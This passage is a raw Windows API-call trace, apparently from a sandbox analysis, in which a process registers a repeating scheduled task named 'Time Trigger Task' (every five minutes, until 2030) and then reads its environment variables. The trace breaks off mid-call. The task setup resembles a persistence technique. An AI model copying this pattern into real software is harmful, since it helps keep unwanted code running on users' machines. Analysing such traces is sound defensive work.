Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18c3c4 | out: ppv=0x18c3c4*=0x26d0b00) returned 0x0 [0041.929] TaskScheduler:ITaskService:Connect (This=0x26d0b00, serverName=0x18be50*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18be60*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18be70*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18be80*(varType=0x0, wReserved1=0x30e, wReserved2=0xc36c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x620000)) returned 0x0 [0041.932] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f3170 [0041.932] TaskScheduler:ITaskService:GetFolder (in: This=0x26d0b00, Path="\\", ppFolder=0x18c3cc | out: ppFolder=0x18c3cc*=0x2bff98) returned 0x0 [0041.934] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3170 | out: hHeap=0x620000) returned 1 [0041.934] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f3170 [0041.934] ITaskFolder:DeleteTask (This=0x2bff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0041.935] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3170 | out: hHeap=0x620000) returned 1 [0041.935] TaskScheduler:ITaskService:NewTask (in: This=0x26d0b00, flags=0x0, ppDefinition=0x18c3d0 | out: ppDefinition=0x18c3d0*=0x26d0b88) returned 0x0 [0041.936] TaskScheduler:IUnknown:Release (This=0x26d0b00) returned 0x1 [0041.937] ITaskDefinition:get_RegistrationInfo (in: This=0x26d0b88, ppRegistrationInfo=0x18c3a4 | out: ppRegistrationInfo=0x18c3a4*=0x26d0c48) returned 0x0 [0041.937] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.937] IRegistrationInfo:put_Author (This=0x26d0c48, Author="Author Name") returned 0x0 [0041.937] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.937] IUnknown:Release (This=0x26d0c48) returned 0x1 [0041.937] ITaskDefinition:get_Principal (in: This=0x26d0b88, ppPrincipal=0x18c3ac | out: ppPrincipal=0x18c3ac*=0x26d0dd8) returned 0x0 [0041.937] IPrincipal:put_LogonType (This=0x26d0dd8, LogonType=3) returned 0x0 [0041.937] IUnknown:Release (This=0x26d0dd8) returned 0x1 [0041.937] ITaskDefinition:get_Settings (in: This=0x26d0b88, ppSettings=0x18c3b4 | out: ppSettings=0x18c3b4*=0x26d0cf8) returned 0x0 [0041.937] ITaskSettings:put_StartWhenAvailable (This=0x26d0cf8, StartWhenAvailable=1) returned 0x0 [0041.937] IUnknown:Release (This=0x26d0cf8) returned 0x1 [0041.937] ITaskSettings:get_IdleSettings (in: This=0x26d0cf8, ppIdleSettings=0x18c398 | out: ppIdleSettings=0x18c398*=0x26d0d68) returned 0x0 [0041.937] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.937] IIdleSettings:put_WaitTimeout (This=0x26d0d68, WaitTimeout="PT5M") returned 0x0 [0041.938] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.938] IUnknown:Release (This=0x26d0d68) returned 0x1 [0041.938] ITaskDefinition:get_Triggers (in: This=0x26d0b88, ppTriggers=0x18c394 | out: ppTriggers=0x18c394*=0x26d0cb8) returned 0x0 [0041.938] ITriggerCollection:Create (in: This=0x26d0cb8, Type=1, ppTrigger=0x18c3a0 | out: ppTrigger=0x18c3a0*=0x26d0e38) returned 0x0 [0041.938] IUnknown:Release (This=0x26d0cb8) returned 0x1 [0041.938] IUnknown:QueryInterface (in: This=0x26d0e38, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18c3bc | out: ppvObject=0x18c3bc*=0x26d0e38) returned 0x0 [0041.938] IUnknown:Release (This=0x26d0e38) returned 0x2 [0041.938] ITrigger:get_Repetition (in: This=0x26d0e38, ppRepeat=0x18c3a8 | out: ppRepeat=0x18c3a8*=0x26d0e88) returned 0x0 [0041.938] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.938] IRepetitionPattern:put_Interval (This=0x26d0e88, Interval="PT5M") returned 0x0 [0041.938] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.938] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.938] IRepetitionPattern:put_Duration (This=0x26d0e88, Duration="") returned 0x0 [0041.939] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.940] ITrigger:put_Repetition (This=0x26d0e38, Repetition=0x26d0e88) returned 0x0 [0041.940] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.940] ITrigger:put_Id (This=0x26d0e38, Id="Trigger1") returned 0x0 [0041.940] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.940] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f31a0 [0041.940] ITrigger:put_EndBoundary (This=0x26d0e38, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0041.940] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f31a0 | out: hHeap=0x620000) returned 1 [0041.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18be7c | out: lpSystemTimeAsFileTime=0x18be7c*(dwLowDateTime=0xa94b910, dwHighDateTime=0x1d53559)) [0041.940] GetLastError () returned 0x0 [0041.940] SetLastError (dwErrCode=0x0) [0041.940] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x24) returned 0x312a860 [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.941] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1f) returned 0x30f0440 [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x30f0440, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x4) returned 0x30a0670 [0041.941] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30a0670) returned 0x4 [0041.941] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30a0670, Size=0x8) returned 0x30a06a0 [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0041.941] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6e61c8 [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x6e61c8, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30a06a0) returned 0x8 [0041.941] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30a06a0, Size=0xc) returned 0x30f31a0 [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0041.941] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x37) returned 0x3128a20 [0041.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3128a20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] GetLastError () returned 0x0 [0041.941] SetLastError (dwErrCode=0x0) [0041.941] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30f31a0) returned 0xc [0041.942] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30f31a0, Size=0x10) returned 0x30f31d0 [0041.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0041.942] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x3102b70 [0041.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3102b70, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30f31d0) returned 0x10 [0041.942] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30f31d0, Size=0x14) returned 0x6d2f90 [0041.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0041.942] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x31) returned 0x31289a0 [0041.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x31289a0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0041.942] GetLastError () returned 0x0 [0041.942] SetLastError (dwErrCode=0x0) [0041.942] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6d2f90) returned 0x14 [0041.943] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6d2f90, Size=0x18) returned 0x6d2b50 [0041.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.943] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x6d2f90 [0041.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x6d2f90, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.943] GetLastError () returned 0x0 [0041.943] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6d2b50) returned 0x18 [0041.944] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6d2b50, Size=0x1c) returned 0x30f0468 [0041.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.944] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x312a890 [0041.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x312a890, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.944] SetLastError (dwErrCode=0x0) [0041.944] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30f0468) returned 0x1c [0041.945] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30f0468, Size=0x20) returned 0x30f0490 [0041.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.945] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x14) returned 0x6d2b50 [0041.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x6d2b50, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.945] GetLastError () returned 0x0 [0041.945] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30f0490) returned 0x20 [0041.946] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30f0490, Size=0x24) returned 0x312aa40 [0041.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.946] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd) returned 0x30f31d0 [0041.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x30f31d0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.946] SetLastError (dwErrCode=0x0) [0041.946] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] SetLastError (dwErrCode=0x0) [0041.947] GetLastError () returned 0x0 [0041.947] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312aa40) returned 0x24 [0041.947] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312aa40, Size=0x28) returned 0x312aa10 [0041.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.947] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x25) returned 0x312aa40 [0041.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x312aa40, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0041.947] GetLastError () returned 0x0 [0041.947] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312aa10) returned 0x28 [0041.947] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312aa10, Size=0x2c) returned 0x30ea100 [0041.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0041.947] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x39) returned 0x3102bb8 [0041.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3102bb8, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0041.947] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30ea100) returned 0x2c [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30ea100, Size=0x30) returned 0x30ea090 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x6d2fb0 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x6d2fb0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0041.948] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30ea090) returned 0x30 [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30ea090, Size=0x34) returned 0x3128a60 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x3124360 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3124360, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0041.948] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3128a60) returned 0x34 [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3128a60, Size=0x38) returned 0x3128aa0 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xe) returned 0x30f31a0 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x30f31a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0041.948] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3128aa0) returned 0x38 [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3128aa0, Size=0x3c) returned 0x3102c48 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x69) returned 0x30eb3f8 [0041.948] WideCharToMultiByte (in: 